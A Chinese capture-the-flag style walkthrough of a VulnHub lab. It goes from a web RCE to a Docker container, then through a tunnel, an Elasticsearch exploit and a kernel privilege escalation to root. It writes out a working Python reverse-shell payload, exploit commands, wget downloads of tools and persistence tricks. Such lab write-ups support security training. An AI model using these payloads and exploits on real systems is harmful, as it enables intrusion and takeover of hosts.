vulnhub打靶日记:从web到内网横向

admin 2024年10月13日18:19:13评论12 views字数 3346阅读11分9秒阅读模式

本文由掌控安全学院-山雀7投稿

靶机下载地址:https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
攻击机:kali2022.2

打靶过程

第一部分

1.信息收集

ip

由于靶机和攻击机都使用nat连接,所以可以直接arp扫描发现

  1. arp-scan -l

vulnhub打靶日记:从web到内网横向
靶机ip为10.0.3.5

端口

  1. nmap -p--sV 10.0.3.5

vulnhub打靶日记:从web到内网横向
发现5000端口开了web服务,且用python2编写的系统.
浏览器访问

vulnhub打靶日记:从web到内网横向
发现是一个聊天室,简单的手动测试后并未发现明显漏洞。继续对web服务进行信息收集。

  1. dirsearch -u http://10.0.3.5:5000

vulnhub打靶日记:从web到内网横向
返回结果发现/admin目录

vulnhub打靶日记:从web到内网横向
得知输入框内的值会被代码执行,尝试python代码反弹shell,上网找一个。

  1. import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.3.4",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

此处的坑:网上找的刚刚开始一直吃不到shell,要把python -c删掉,然后还过滤了’,要把前后的引号也去掉。然后以后贴代码最好用编辑器或者topyra里插入代码块在贴进去,我一开始用的word估计也是自动给你编排了格式

吃到shell

vulnhub打靶日记:从web到内网横向

之后查看id发现为root权限,ls又发现了目录里有dockerfile,怀疑拿下的是docker容器的系统,并没有拿下sudo机器。之后ls /.dockerenv,发现有这个文件存在,确认猜想。
vulnhub打靶日记:从web到内网横向

第一部分总结

获取ip->端口扫描->web信息收集->漏洞利用反弹shell->拿到docker容器root权限

第二部分

思路:想办法从docker容器的隔离中跳出来,拿到sudo机器的权限。

信息收集

ip a查看daocker容器ip172.17.0.3

vulnhub打靶日记:从web到内网横向

for循环ping出存活主机

for i in $(seq 1 10); do ping -c 1 172.17.0.$i; done

vulnhub打靶日记:从web到内网横向
存活主机为172.17.0.1/2/3,其中0.3为docker容器的内网ip。

对主机信息收集

由于大部分收集工具在kali机上,所以需要在kali机和靶机的内网之间搭建一条隧道。

隧道搭建

使用工具venom(已上传到附件)

vulnhub打靶日记:从web到内网横向
现在这个文件夹打开一个终端
运行服务端./admin_linux_x64 -lport 7777

vulnhub打靶日记:从web到内网横向
开启一个http服务,在容器机用wget把客户端下进去,根据信息收集,这里选择使用agent_linux_x86,为了方便后面操作,改名为shanque

vulnhub打靶日记:从web到内网横向
在此文件夹再打开一个终端,python3 -m http.server 80开启web服务

vulnhub打靶日记:从web到内网横向
在容器机下载客户端wget http://10.0.3.4/shanque

vulnhub打靶日记:从web到内网横向
给执行权限chmod +x shanque
这里再补充两个好玩的指令
chattr +i shanque锁定文件,root删不掉
chmod +s shanque每次都以管理员权限运行
我这里是自己运行的靶机就用不到
连接kali机 ./shanque -rhost 10.0.3.4 -rport 7777

vulnhub打靶日记:从web到内网横向
show,查看服务端
goto 1 进入节点
socks 1080 启动一个socks监听
vulnhub打靶日记:从web到内网横向
给kali机挂上代理
vi /etc/proxychains4.conf拉倒最下面,修改两个地方

vulnhub打靶日记:从web到内网横向

内网信息收集

对刚刚发现的172.17.0.1/2两台存活的主机进行扫描
proxychains nmap -Pn -sT 172.17.0.1

vulnhub打靶日记:从web到内网横向
扫出来是不是似曾相识的感觉,猜想172.17.0.1就是10.0.3.5这台sudo机器的内网ip。
把浏览器挂上代理,访问5000端口看看

vulnhub打靶日记:从web到内网横向

vulnhub打靶日记:从web到内网横向

vulnhub打靶日记:从web到内网横向
一毛一样,确认猜想。
那么还剩一台172.17.0.2容器系统可以利用,扫描->发现漏洞->利用漏洞->最终拿到172.17.0.1sudo机的root权限。不然就寄。
proxychains nmap -Pn -sT 172.17.0.2

vulnhub打靶日记:从web到内网横向
9200端口发现,上网搜一搜。
9200作为Http协议,主要用于外部通讯。
一般都是给ElasticSearch-Head等工具连接ElasticSearch使用的。

vulnhub打靶日记:从web到内网横向

对172.17.0.2容器攻击

中奖,说明这个服务存在漏洞,找找exp
searchsploit Elasticsearch

vulnhub打靶日记:从web到内网横向
两个rce,先把利用脚本复制过来,然后一个个试。
cp /usr/share/exploitdb/exploits/linux/remote/36337.py .
vim 36337.py

vulnhub打靶日记:从web到内网横向
查看以后发现是python2写的脚本
python2 36337.py

vulnhub打靶日记:从web到内网横向
利用格式为python2 36337.py 172.17.0.2
proxychains python2 36337.py 172.17.0.2

vulnhub打靶日记:从web到内网横向
不太行,注意这里有大坑。我在这卡了四天(反反复复重新开隧道,重启靶机,重装靶机系统,换一个kali系统,换到virtualbox虚拟机都试了)最后才知道,Elasticsearch这个服务要先有数据,才能被攻击。
解决办法,先给一条数据给它

  1. proxychains curl -XPOST '172.17.0.2:9200/twittter/user/yren'-d '{"name":"shanque"}'

再执行exp

vulnhub打靶日记:从web到内网横向
敲id成功出现root权限,芜湖~
信息收集,发现有password,打开有用户名和对应的hash值

vulnhub打靶日记:从web到内网横向

vulnhub打靶日记:从web到内网横向
拿到账号密码
john 1337hack测试过只有这一个能登陆,正常要把所有的账号密码都拿出来一个个试。

到此,能做的都做了,总结一下

靶机ip:10.0.3.5 开了22端口 openssh
内有两个容器:
1.docker 内网ip172.17.0.3,web服务,rce
2.elasticsearch,内网ip172.17.0.2。Elasticsearch,RCE
3.172.17.0.1,靶机的内网ip,账号密码已经拿到

第三部分

ssh登陆sudo机,提权

ssh [email protected]

vulnhub打靶日记:从web到内网横向

vulnhub打靶日记:从web到内网横向
用户为普通用户

提权

vulnhub打靶日记:从web到内网横向
目标系统使用的3.13版本的内核
searchsploit linux 3.13

vulnhub打靶日记:从web到内网横向
发现很多可以利用,挑选拷贝一个
cp /usr/share/exploitdb/exploits/linux/local/37292.c .

vulnhub打靶日记:从web到内网横向
查看发现是c语言的源码,要用gcc来编译

vulnhub打靶日记:从web到内网横向
并且发现它本身还会再次调用gcc来编译一次,意味着就算在kali上编译好了丢进去执行还是会出错。
解决方案:修改源码,不让他二次调用gcc编译,而是直接在kali上找到编译好的
ofs-lib.so这个二进制库文件让它去读取。
vulnhub打靶日记:从web到内网横向
首先把涉及到编译库文件源码的都删掉

vulnhub打靶日记:从web到内网横向
再在kali机上进行编译
gcc -o shanque 37292.c

vulnhub打靶日记:从web到内网横向
编译好的expshanque已经生成,要执行还要配合ofs-lib.so这个文件

vulnhub打靶日记:从web到内网横向
拷贝过来
cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so .

vulnhub打靶日记:从web到内网横向
然后启动http服务,把这两个都丢到目标sudo机上面去

vulnhub打靶日记:从web到内网横向

vulnhub打靶日记:从web到内网横向
挪到tmp目录下

vulnhub打靶日记:从web到内网横向
给执行权限shanque,然后执行

vulnhub打靶日记:从web到内网横向
提权成功
至此打靶训练结束

理一下过程
1.靶机发现:ip10.0.3.5
2.全端口扫描5000,22
3.应用扫描web,openssh
4.web服务访问,没有发现漏洞
5.目录扫描,/admin
6.远程rce,反弹shell,拿到root权限
7.发现处于docker容器,内网存活主机探测
8.内网穿透,venom使用
9.存活主机全端口扫描,确认172.17.0.1为sudo机器,在172.17.0.2发现9200端口,搜索利用exp远程rce,拿下elasticsearch机器的root权限
10.password文件发现密码,解密,ssh登陆sudo机,内核漏洞提权。

原文始发于微信公众号(掌控安全EDU):vulnhub打靶日记:从web到内网横向

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月13日18:19:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   vulnhub打靶日记:从web到内网横向https://cn-sec.com/archives/1896640.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息